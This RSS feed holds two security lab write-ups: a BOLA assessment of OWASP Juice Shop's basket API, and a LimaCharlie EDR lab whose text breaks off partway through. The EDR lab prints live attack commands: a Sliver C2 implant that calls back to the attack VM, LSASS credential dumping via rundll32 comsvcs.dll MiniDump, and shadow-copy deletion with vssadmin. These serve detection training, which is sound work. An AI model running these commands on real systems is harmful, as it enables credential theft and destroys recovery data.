<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Annie Wong on Medium]]></title>
        <description><![CDATA[Stories by Annie Wong on Medium]]></description>
        <link>https://medium.com/@anniehswong?source=rss-8a6ba062ffef------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Annie Wong on Medium</title>
            <link>https://medium.com/@anniehswong?source=rss-8a6ba062ffef------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:00:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anniehswong/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Broken Object Level Authorization (BOLA) in OWASP Juice Shop: Vulnerability Assessment Report]]></title>
            <link>https://medium.com/@anniehswong/broken-object-level-authorization-bola-in-owasp-juice-shop-vulnerability-assessment-report-cd99970e750f?source=rss-8a6ba062ffef------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd99970e750f</guid>
            <dc:creator><![CDATA[Annie Wong]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 00:20:03 GMT</pubDate>
            <atom:updated>2026-10-28T00:58:08.589Z</atom:updated>
            <content:encoded><![CDATA[<p>Severity: Medium — CVSS v3.1: 4.3 (Preliminary)<br>Finding Status: Confirmed — Remediation Pending</p><h3>1. Executive Summary</h3><p>This assessment examined whether the OWASP Juice Shop shopping basket API properly enforced object-level authorization when authenticated users requested basket information.</p><p>Testing identified a Broken Object Level Authorization (BOLA) vulnerability in the GET /rest/basket/{id} endpoint.</p><p>While authenticated as Test User A, the basket ID in an HTTP request was changed to reference a basket belonging to Test User B. The server returned HTTP 200 OK and disclosed Test User B&#39;s shopping basket information, including the associated user ID and product details.</p><p>A separate unauthenticated request returned HTTP 401 Unauthorized. Together, these results demonstrate that the endpoint required authentication but did not enforce object-level authorization.</p><p>The finding was classified as CWE-639: Authorization Bypass Through User-Controlled Key and assigned a preliminary CVSS v3.1 score of 4.3 (Medium).</p><p>The confirmed security impact was unauthorized disclosure of another user’s shopping basket information. Unauthorized modification and deletion were not tested, and no availability impact was observed.</p><p>Server-side object-level authorization checks are recommended to prevent unauthorized cross-account access.</p><h3>2. Assessment Scope and Objectives</h3><h4>2.1 Assessment Scope</h4><p>The assessment evaluated object-level authorization controls for the GET /rest/basket/{id} endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mikln7UB54FGy4sYrI5qFQ.png" /></figure><p>This assessment covers a single BOLA finding and does not represent a comprehensive security assessment of OWASP Juice Shop.</p><h4>2.2 Assessment Objectives</h4><p>The assessment aimed to:</p><ol><li>Determine whether an authenticated user could retrieve shopping basket information belonging to another account.</li><li>Evaluate whether the endpoint enforced authentication and object-level authorization.</li><li>Document reproducible evidence of unauthorized access.</li><li>Assess the demonstrated security impact and severity.</li><li>Recommend remediation and define criteria for post-remediation validation.</li></ol><h3>3. Assessment Methodology</h3><p>The assessment used manual API security testing with Google Chrome Developer Tools.</p><p>Two test accounts were created with separate shopping baskets. An authenticated request to Test User A’s basket was inspected to establish baseline behavior.</p><p>The basket ID was changed from 7 to 8 while retaining Test User A’s authentication context. The response was reviewed to determine whether the server permitted cross-account access.</p><p>A separate unauthenticated request was submitted to verify whether the endpoint required authentication.</p><p>The finding was classified under CWE-639 and assigned a preliminary severity rating using CVSS v3.1.</p><p>No automated vulnerability scanning or source code review was performed.</p><h3>4. Test Environment</h3><h4>4.1 Application Configuration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QiMWa8y05gBSvoY8Kf2o9g.png" /></figure><p>The application was deployed locally using:</p><pre>docker pull bkimminich/juice-shop</pre><pre>docker run -d --name juice-shop \<br>  -p 127.0.0.1:3000:3000 \<br>  bkimminich/juice-shop</pre><h4>4.2 Test Accounts</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*12SQmQi2uf3gD-EBhpXkLw.png" /></figure><p>The test accounts were created for controlled testing. User and basket IDs may vary across deployments.</p><h3>5. Vulnerability Finding</h3><h4>5.1 Finding Overview</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gi_n3EpaloHHq_MyKAqNQQ.png" /></figure><h4>5.2 Vulnerability Description</h4><p>The shopping basket API uses a basket ID in the request path to retrieve basket information. Changing the ID from 7 to 8 allowed Test User A to retrieve Test User B’s basket, indicating that the server did not adequately enforce object-level authorization.</p><h4>5.3 Steps to Reproduce</h4><ol><li>Authenticate to OWASP Juice Shop as Test User A (testuserA@example.com).</li><li>Open Chrome Developer Tools and navigate to Network → Fetch/XHR.</li><li>Access Test User A’s shopping basket.</li><li>Locate the authenticated request:<br>GET http://localhost:3000/rest/basket/7</li><li>Confirm that the response corresponds to Basket ID: 7, associated with User ID: 26.</li><li>Right-click the request in the Network panel and select Copy → Copy as fetch.</li><li>Paste the copied request into the Developer Tools Console.</li><li>Change the request path from /rest/basket/7 to /rest/basket/8.</li><li>Keep Test User A’s authentication context unchanged.</li><li>Press Enter to execute the modified request.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Gz0bAUfzdDQTbTb3QKUYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYdWUeeR_NhSm3TUFy9PlQ.png" /><figcaption>Authorized request to Basket ID: 7 returns shopping basket information associated with Test User A (User ID: 26)</figcaption></figure><p><strong>Expected Result</strong></p><p>The server should reject the request because Basket ID: 8 belongs to Test User B.</p><p>An appropriate response would be HTTP 403 Forbidden or an intentionally configured 404 Not Found, without disclosing Basket ID: 8&#39;s contents.</p><p><strong>Actual Result</strong></p><p>The server returned HTTP 200 OK and disclosed Basket ID: 8&#39;s information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxDZ4RwwZ5Bvs5yD72DPpA.png" /><figcaption><em>Modified GET request targeting Basket ID: 8 returns HTTP 200 OK during cross-account authorization testing.</em></figcaption></figure><p>The response contained the following values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qft5apxOcjkLTg4_FErYtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRUZcFryemcZhUX6jIAGkA.png" /><figcaption><em>API response discloses Basket ID: 8, associated with User ID: 27, and its product information.</em></figcaption></figure><h3>6. Security Impact and Severity Assessment</h3><h4>6.1 Confirmed Security Impact</h4><p>The vulnerability allows authenticated users to access shopping basket information belonging to other accounts.</p><p>The documented response exposed Basket ID: 8, User ID: 27, and product information associated with Test User B.</p><p>No payment information was observed in the response.</p><h4>6.2 Confidentiality, Integrity, and Availability (CIA)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NS26TaoJH9rYsmNOW8gW2w.png" /></figure><p>The integrity and availability assessments are limited to the tested read-access scenario.</p><h4>6.3 CVSS v3.1 Assessment</h4><p><strong>Preliminary Base Score: 4.3 — Medium</strong></p><p><strong>CVSS Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</p><p>The preliminary rating reflects the confirmed unauthorized read access. Other basket operations were not tested, so the assessment does not establish whether additional security impacts are possible.</p><h3>7. Root Cause Analysis</h3><p>The API appears to lack an effective server-side authorization check to determine whether the authenticated user has permission to access the requested basket.</p><p>Although authentication was required, changing the basket ID allowed access to another user’s basket information.</p><p>The application’s source code was not reviewed, so the exact root cause remains unconfirmed.</p><h3>8. Remediation Recommendations</h3><h4>8.1 Implement Server-Side Object-Level Authorization</h4><p>The application should verify that authenticated users have permission to access the requested basket before returning its contents.</p><p>The backend should:</p><ol><li>Authenticate the requesting user.</li><li>Retrieve the requested basket.</li><li>Verify that the basket belongs to the authenticated user.</li><li>Return the basket information only if authorization succeeds.</li><li>Reject unauthorized requests without disclosing basket information.</li></ol><h4>8.2 Additional Remediation Recommendations</h4><ul><li>Apply consistent authorization checks to relevant basket operations.</li><li>Use deny-by-default access controls.</li><li>Add automated negative authorization tests for cross-account access.</li></ul><h3>9. Baseline Security Testing and Retesting Plan</h3><h4>9.1 Baseline Test Results</h4><p>The following tests were performed against the vulnerable application before remediation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1IhA7esgvvzQmo9GBltGw.png" /></figure><h4>9.2 Unauthenticated Access Validation</h4><p>An unauthenticated request was submitted through a Chrome Incognito session: GET http://localhost:3000/rest/basket/7</p><p>The server returned HTTP 401 Unauthorized because the request did not include an authorization header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7qc62PqMQ4Wpng-fDNKYw.png" /><figcaption><em>Unauthenticated GET request to /rest/basket/7 returns HTTP 401 Unauthorized</em></figcaption></figure><p>This result confirms that the endpoint requires authentication, while the cross-account test demonstrates insufficient object-level authorization.</p><h4>9.3 Post-Remediation Validation</h4><p>Following remediation, the affected endpoint should be retested to confirm that:</p><ol><li>Authenticated users can retrieve their own baskets.</li><li>Cross-account requests are rejected without disclosing basket information.</li><li>Unauthenticated requests remain rejected.</li></ol><p>Post-remediation validation has not been performed.</p><h3>10. Assessment Limitations and Remediation Status</h3><p>The assessment was limited to the shopping basket read endpoint in a locally deployed training environment.</p><p>It did not include source code review, automated scanning, or testing of unauthorized modification or deletion.</p><p>The vulnerability was confirmed, but remediation and post-remediation validation have not been performed.</p><p>The finding should remain open until follow-up testing confirms that the authorization weakness has been resolved.</p><h3>11. Conclusion</h3><p>The assessment identified a BOLA vulnerability in the OWASP Juice Shop shopping basket API. Changing the basket ID allowed an authenticated user to retrieve another user’s basket information, demonstrating insufficient object-level authorization.</p><p>The finding received a preliminary CVSS v3.1 score of 4.3 (Medium). Server-side authorization checks and post-remediation testing are recommended.</p><h3>References</h3><ul><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/">OWASP — API Security Top 10: Broken Object Level Authorization</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">MITRE — CWE-639: Authorization Bypass Through User-Controlled Key</a></li><li><a href="https://www.first.org/cvss/v3.1/specification-document">FIRST — CVSS v3.1 Specification</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd99970e750f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Analyst Lab: Threat Detection & Response with LimaCharlie EDR]]></title>
            <link>https://medium.com/@anniehswong/soc-analyst-lab-threat-detection-response-with-limacharlie-edr-3aabd41626ab?source=rss-8a6ba062ffef------2</link>
            <guid isPermaLink="false">https://medium.com/p/3aabd41626ab</guid>
            <dc:creator><![CDATA[Annie Wong]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 17:48:29 GMT</pubDate>
            <atom:updated>2026-01-13T17:48:29.520Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objective</h3><p>The goal of this lab is to design and analyze a Security Operations Center (SOC) environment using LimaCharlie EDR. This lab simulates real-world cyber attacks to develop and test detection rules, implement automated response mechanisms, and analyze endpoint telemetry. The lab demonstrates hands-on experience in threat detection, incident response, and behavioral analysis within a controlled, cloud-hosted environment.</p><h3>Lab Environment</h3><p><strong>Virtual Machines</strong></p><ul><li><strong>Linux VM</strong>: Attack machine running Sliver C2 server and client</li><li><strong>Windows VM</strong>: Target endpoint with LimaCharlie sensor installed and Sysmon installed</li></ul><p><strong>Tools &amp; Platforms</strong></p><ul><li><strong>LimaCharlie:</strong> Cloud-based SecOps platform for EDR and detection</li><li><strong>Sliver C2:</strong> Command and Control framework for simulating attacks</li><li><strong>Sysmon:</strong> Enhanced Windows logging for detailed telemetry</li><li><strong>YARA:</strong> Pattern matching for malware identification</li></ul><p><strong>Additional Setup</strong></p><ul><li>Sysmon logs ingested into LimaCharlie</li><li>HTTP listener configured on Sliver</li></ul><h3><strong>Create a Free LimaCharlie Account</strong></h3><p>Before we can begin monitoring our Windows VM, we need to set up a LimaCharlie account. This account provides access to the cloud-based EDR platform, allowing us to deploy sensors, collect telemetry, and build detection rules.</p><p>Navigate to<a href="https://www.limacharlie.io/"> LimaCharlie</a> and sign up for a free account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQYPSOw4Yb2zRkMIoT-yKA.png" /></figure><p>Once logged in, create an organization:</p><ul><li><strong>Name: </strong>Choose a unique name</li><li><strong>Data Residency: </strong>Select the region closest to you</li><li><strong>Template: </strong>Select “No template”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeub4jHfUAxcVhTkESplDg.png" /></figure><h3><strong>Add and Configure the Windows Sensor</strong></h3><p>Next, we’ll add a Windows sensor to our LimaCharlie organization. This sensor collects endpoint telemetry from our Windows VM and feeds it into LimaCharlie for analysis.</p><p>In LimaCharlie, click <strong>Add Sensor</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xYqN4Lr6GjNLigCj_J9pLQ.png" /></figure><p>Navigate to the <strong>Endpoint</strong> tab &gt;&gt; Scroll down to Windows &gt;&gt; click <strong>Select</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJYjWzYyNekGZJU0Egi-lA.png" /></figure><p>Provide a description: e.g. <strong>Windows VM — Lab</strong> &gt;&gt; click <strong>Create</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LG2rzfOS0TJlkYqGZPQs6Q.png" /></figure><p>Select the Installation Key just created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*DUBsCO9n83nx--R7CZJcmw.png" /></figure><p>Choose the <strong>x86–64(.exe)</strong>sensor, but do not install yet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Im4Px3gH248mTwqYyOHkWg.png" /></figure><h3><strong>Install LimaCharlie EDR on the Windows VM</strong></h3><p>Now we’ll install the sensor on the Windows VM to start collecting telemetry.</p><p>On the Windows VM, open an Administrative Command Prompt</p><p>Change to the Downloads directory where the <strong>lc_sensor.exe</strong> file (sensor installer) is located:</p><pre>cd C:\Users\Administrator\Downloads</pre><p>Enter and run the command to install the sensor:</p><pre>lc_sensor.exe -i &lt;your_installation_key&gt;</pre><p>We replace <strong>&lt;your_installation_key&gt;</strong> with the key copied from our LimaCharlie organization dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFoOUBC2PXXvSY6zihggFA.png" /></figure><p>We should see the expected output below. This is confirmation that the agent has been successfully installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*eh4swlTmhVXG7eP9DS5Bcg.png" /></figure><h3><strong>Configure Sysmon Log Ingestion</strong></h3><p>In this step, we configure LimaCharlie to ingest and analyze Sysmon event logs from the Windows VM, which will give us deeper insight into system activity and potential threats.</p><p>Sysmon (System Monitor) is a Windows system service that logs detailed system activity including:</p><ul><li>Process creation and termination</li><li>Network connections</li><li>File creation and modification</li><li>Registry changes</li><li>Process memory access</li></ul><p>In LimaCharlie, click <strong>Sensors</strong> &gt;&gt; <strong>Artifact Collection</strong></p><p>Click <strong>Add Artifact Collection Rule</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DeUWpbjgdn7k8uguEr0pNg.png" /></figure><p>Configure the rule as follows:</p><ul><li><strong>Name:</strong> windows-sysmon-logs</li><li><strong>Patterns:</strong> wel://Microsoft-Windows-Sysmon/Operational:*</li><li><strong>Retention Period:</strong> 10</li><li><strong>Platform(s):</strong> windows</li></ul><p>Click <strong>Save</strong> to create the artifact collection rule</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*ZykBASEsApUN6Ztb9g39Xw.png" /></figure><h3><strong>Enable Sigma EDR Ruleset</strong></h3><p>Finally, we enable the open-source Sigma ruleset to enhance detection capabilities using both EDR telemetry and Sysmon logs.</p><p>Sigma is an open-source standard for writing detection rules. Think of it as “YARA for logs” — it provides generic signatures for detecting suspicious behavior across different log sources and SIEM platforms. The Sigma community maintains hundreds of detection rules for common attack techniques.</p><p>In LimaCharlie, navigate to the top-right corner &gt;&gt; click <strong>Add-ons</strong></p><p>Select <strong>Extensions </strong>from the drop-down menu</p><p>In the search bar, type and click: <strong>ext-sigma</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qXw-OMzGnSFHSo741KmJmA.png" /></figure><p>Click <strong>Subscribe</strong> to enable the Sigma ruleset</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qr29KO7ZufpFYGZWILEcQw.png" /></figure><h3><strong>Setting Up the Linux Attack VM — Configure Sliver C2</strong></h3><p>In this step, we configure the Linux VM as an attack platform, allowing us to generate controlled adversary activity against the Windows target.</p><p>Sliver is an open-source Command and Control (C2) framework used by penetration testers and red teams. It allows operators to:</p><ul><li>Generate custom implants (malware)</li><li>Establish remote sessions with compromised hosts</li><li>Execute commands on target systems</li><li>Simulate real-world attacker behavior</li></ul><p>Using Sliver helps us understand how attackers operate so we can build better defenses.</p><p>In our Linux terminal, enter a root shell:</p><pre>sudo su</pre><p>Verify the Sliver server is running. We should see: <strong>active (running)</strong></p><pre>systemctl status sliver</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmxwZ0TtxQiG-Ke4SbiGZQ.png" /></figure><p>In the terminal, launch the Sliver client:</p><pre>sliver</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mrTrPX7I8ds2nwIDXRYD-A.png" /></figure><p>Verify if Sliver is listening for C2 callbacks on an HTTP listener using:</p><pre>jobs</pre><p>If the HTTP listener is not running, start one:</p><pre>http</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*4ToEFFfEc-i48fCiVl2Ipg.png" /></figure><p>With the attack VM ready, we can generate a custom C2 implant to test detection capabilities.</p><h3><strong>Generating a C2 Implant</strong></h3><p>In this step, we generate a custom C2 implant on the Linux VM, which will later be executed on the Windows VM to simulate attacker operations.</p><p>In the Sliver console, generate a C2 implant by running the following command:</p><pre>generate --http &lt;linux_vm_ip&gt; --save /var/www/payloads</pre><blockquote><em>Note: Replace &lt;linux_vm_ip&gt; with our Linux VM’s IP address</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7DiJM50TEcPKaG9tiuXaTw.png" /></figure><p>After generation, confirm the implant is stored in the Sliver server:</p><pre>implants</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4hjWpkN_RX-lSK7hhNTjVQ.png" /></figure><p>Before executing the payload on the Windows VM, verify the HTTP listener job is active:</p><pre>jobs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*6GoUe5jefRiE6BDDAkyUGA.png" /></figure><p>Leave the Sliver console open as we’ll return to it shortly</p><h3><strong>Deploy and Launch C2 Implant on Windows VM</strong></h3><p>In this step, we will download the C2 implant to the Windows VM, execute it, and prepare for monitoring.</p><p>On the Windows VM, launch Microsoft Edge</p><p>In the address bar, navigate to:</p><pre>http://&lt;linux_vm_ip&gt;:8080</pre><p>We should see a directory listing showing our implant file</p><p>Click on our implant filename to download it to the Windows VM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*27fJowQYWQXdCWdn0cZRxA.png" /></figure><p>Edge will display a warning that the file is not commonly downloaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*fVA2dgtHEZlLkhD8E6hWbw.png" /></figure><p>Click <strong>Keep</strong> &gt;&gt; <strong>Keep anyway</strong> to allow the download</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*VF_327FdpmZPnYock_VAlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*J416Hu5dMtvSLVnsRvU1jg.png" /></figure><p>Click <strong>Open file</strong> to run the downloaded implant on the Windows VM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*FSKxRqnb_aCx-kCgJ7mCWg.png" /></figure><p>The implant will execute silently in the background (no visible window).</p><p>We simulated a user downloading and executing a malicious file — one of the most common initial access vectors in real-world breaches.</p><h3><strong>Open C2 Session</strong></h3><p>Now switch back to the Linux VM Sliver client to observe the callback.</p><p>Within a few moments, our C2 implant should callback to our Sliver server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_7bhk-DFP2cCnhT1VSBmg.png" /></figure><p>In the Sliver client, list all active sessions:</p><pre>sessions</pre><p>Take note of the Session ID of our new C2 session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-0G3HVDOZ4QPEcziuwy0w.png" /></figure><p>To interact with our new session, use the command below. Replace <strong>&lt;session_id&gt;</strong> with our actual Session ID from the previous step.</p><pre>use &lt;session_id&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDBB_kzrRMrEEhrhxPq2RA.png" /></figure><p>We are now interacting directly with the Windows VM via the Sliver C2 session.</p><p>Now we’ll run a few basic commands to gather information about the compromised Windows system. These are typical reconnaissance commands an attacker runs immediately after gaining access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ied9Ht2T0O_J9JsjAuZ6Vw.png" /></figure><h3><strong>Explore EDR Telemetry</strong></h3><p>In this step, we will explore endpoint telemetry from our Windows VM within LimaCharlie to understand how system activity appears in an EDR platform and identify suspicious indicators.</p><p>In LimaCharlie, click <strong>Sensors</strong> in the left menu</p><p>Click the active Windows sensor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-tdD-nm5IBT8o_qjeBULQ.png" /></figure><p>From the sensor’s left-side menu &gt;&gt; click <strong>Processes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEpD6cNMXRL9LuNW9liR0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqaKyGscMRzkHTkH0fRnOw.png" /></figure><p>As we can see in the screenshot above, our C2 implant shows as not signed and is active on the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HlT0Ip5uctEedxyphtr1uQ.png" /></figure><p>Click on <strong>Network </strong>tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LBuvN1KpKDZc5omNo3ireg.png" /></figure><p>Click on <strong>Filesystem </strong>tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYm7YIi_CcpdpCMEd-3Quw.png" /></figure><h3><strong>Generating an Attack — Credential Dumping</strong></h3><p>In this step, we simulate an attacker stealing credentials by dumping the LSASS process memory using a Living-Off-the-Land Binary (LOLBIN) technique.</p><p>Ensure our Linux VM has the Sliver C2 server running and we have an active session with the target Windows VM through the Sliver implant</p><p>In the Sliver shell, elevate the implant to SYSTEM-level privileges by running:</p><pre>getsystem</pre><p>This grants the implant the highest access on the host, which is required for credential dumping and other privileged operations.</p><p>Note the new Session ID of the elevated SYSTEM session. Switch to the SYSTEM session:</p><pre>use &lt;session_id&gt;</pre><blockquote><em>Replace </em><strong><em>&lt;session_id&gt;</em></strong><em> with the new elevated session ID</em></blockquote><p>Verify that the implant now has SYSTEM level access by running:</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LINI9rrdGBSldyE1rLOuzQ.png" /></figure><p>Now let’s attempt to steal credentials on a system by dumping the <strong>lsass.exe</strong> process from memory. This critical Windows process holds sensitive information such as credentials. We will use a LOLBIN to accomplish this.</p><p>We need to first identify the process ID (PID) of <strong>lsass.exe</strong> in our active C2 session by running:</p><pre>ps -e lsass.exe</pre><p>Note the PID value from the output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GUNoNjP3P72l8XRhFlvttg.png" /></figure><p>Execute the dump command in the C2 session, replacing <strong>&lt;PID&gt;</strong> with the actual PID:</p><pre>execute rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump &lt;PID&gt; C:\Windows\Temp\lsass.dmp full</pre><p>This will dump the LSASS process from memory and save it to <strong>C:\Windows\Temp\lsass.dmp</strong></p><p>Verify the dump file’s creation by navigating to <strong>C:\Windows\Temp</strong> in LimaCharlie’s File System browser and confirming that <strong>lsass.dmp</strong> exists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MDlGUvt60Kf4gzbZTsrOZQ.png" /></figure><h3><strong>Detecting Credential Dumping</strong></h3><p>Now let’s navigate LimaCharlie to find telemetry related to the credential dumping attack we just executed.</p><p>In LimaCharlie, navigate to <strong>Sensors</strong> &gt;&gt; <strong>Sensor List</strong></p><p>Click on our Windows VM sensor</p><p>In the left-side menu, click <strong>Timeline</strong></p><p>In the Timeline search box, filter by event type: <strong>SENSITIVE_PROCESS_ACCESS</strong></p><p>To narrow our search, we can add <strong>rundll32.exe</strong> as a secondary filter</p><p>Review the filtered events to observe the credential dumping activity, noting the timestamp, source process (<strong>rundll32.exe</strong>), target process <strong>(lsass.exe</strong>), and outcome</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i92-wa7-sbEhFJshY8QxYw.png" /></figure><h3><strong>Building a Detection Rule</strong></h3><p>Now that we know what the event looks like when credential access occurs, we can create a Detection &amp; Response (D&amp;R) rule in LimaCharlie that alerts whenever this activity happens.</p><p>Click the button in the event details view to build a detection rule from this event</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnljPUII7d7EHffER6c4kw.png" /></figure><p>In the <strong>Detect</strong> section, delete all existing content and replace with:</p><pre>event: SENSITIVE_PROCESS_ACCESS<br>op: and<br>rules:<br>  - op: ends with<br>    path: event/*/TARGET/FILE_PATH<br>    value: lsass.exe<br>  - not: true<br>    op: ends with<br>    path: event/*/SOURCE/FILE_PATH<br>    value: wmiprvse.exe</pre><p>This rule monitors <strong>SENSITIVE_PROCESS_ACCESS</strong> events where the target process is <strong>lsass.exe</strong>, while excluding <strong>wmiprvse.exe</strong> as the source process to reduce false positives in this VM environment</p><p>In the <strong>Respond</strong> section, delete all existing content and replace with:</p><pre>- action: report<br>name: LSASS access</pre><p>This tells LimaCharlie to generate a detection report titled: <strong>LSASS access</strong> whenever the conditions are met</p><h3><strong>Validating the Detection Rule</strong></h3><p>Now let’s re-execute the LSASS credential dumping attack to confirm that our custom detection rule fires in real-time.</p><p>Return to our Sliver console on the Linux VM and reconnect to the SYSTEM-level C2 session</p><p>Delete the previous LSASS dump file:</p><pre>execute cmd.exe /c del C:\\Windows\\Temp\\lsass.dmp</pre><p>Re-identify the LSASS process ID:</p><pre>ps -e lsass.exe</pre><p>Re-execute the credential dumping attack. We will replace <strong>&lt;PID&gt;</strong> with our actual LSASS PID</p><pre>execute rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump &lt;PID&gt; C:\\Windows\\Temp\\lsass.dmp full</pre><p>In LimaCharlie, navigate to <strong>Detections</strong> from the left-side menu</p><p>Look for a detection named <strong>LSASS access</strong> (the rule we just created)</p><p>Expand the detection to view the raw event, then click <strong>View Event Timeline</strong> to see surrounding telemetry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4O3K83wAiTMGuBddSmiesA.png" /></figure><p>We’ve successfully validated that a custom detection rule detects a credential dumping attack in real-time!</p><h3><strong>Automated Threat Response — Blocking Ransomware Behavior</strong></h3><p>In the previous step, we created detection rules to identify threats as they occur. Now, we’ll implement automated response capabilities to actively block malicious activity before it can cause damage.</p><p>Ransomware operators frequently delete Volume Shadow Copies (Windows backup snapshots) to prevent victims from recovering their files without paying the ransom. By detecting and blocking this behavior, we can stop ransomware before it encrypts data.</p><p><strong>Generate the Attack (Volume Shadow Copy Deletion)</strong></p><p>On the Linux VM, connect to the Sliver C2 client and ensure we have an active C2 session on the Windows VM. If not, reconnect using:</p><pre>use &lt;session_id&gt;</pre><p>Drop to a native system command prompt within the Sliver C2 session:</p><pre>shell</pre><p>When prompted with “This action is bad OPSEC, are you an adult?”, type <strong>Y</strong> and press Enter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_XTqB5uq1bMEZx4Mzwg9rw.png" /></figure><p>We should now see a Windows command prompt (e.g., <strong>C:\Windows\System32&gt;</strong>)</p><p>In the native system shell, run the following command to simulate ransomware deleting shadow copies:</p><pre>vssadmin delete shadows /all</pre><blockquote><em>Note: The command may produce “No items found that satisfy the query” if no shadow copies exist. This is normal– the command still generates the telemetry we need for detection.</em></blockquote><p>Verify the shell is still active:</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*vdVjyDax-b-hM6VvZzN58Q.png" /></figure><p>We should see output: <strong>nt authority\system</strong>, confirming the session is still alive</p><p><strong>Observe the Detection</strong></p><p>Now let’s confirm that LimaCharlie’s Sigma rules detected the VSS deletion attempt.</p><p>In LimaCharlie, navigate to <strong>Detections</strong> in the left-side menu</p><p>Look for a Sigma detection related to volume shadow copy deletion. We should see something like: <strong>Shadow Copies Deletion Using Operating Systems Utilities</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URTZNwEdxa-HcF-l8W54GQ.png" /></figure><p>Click on the detection entry to expand the details and review</p><p>Click <strong>View Event Timeline</strong> to view the raw event that triggered this detection</p><figure><img alt="" 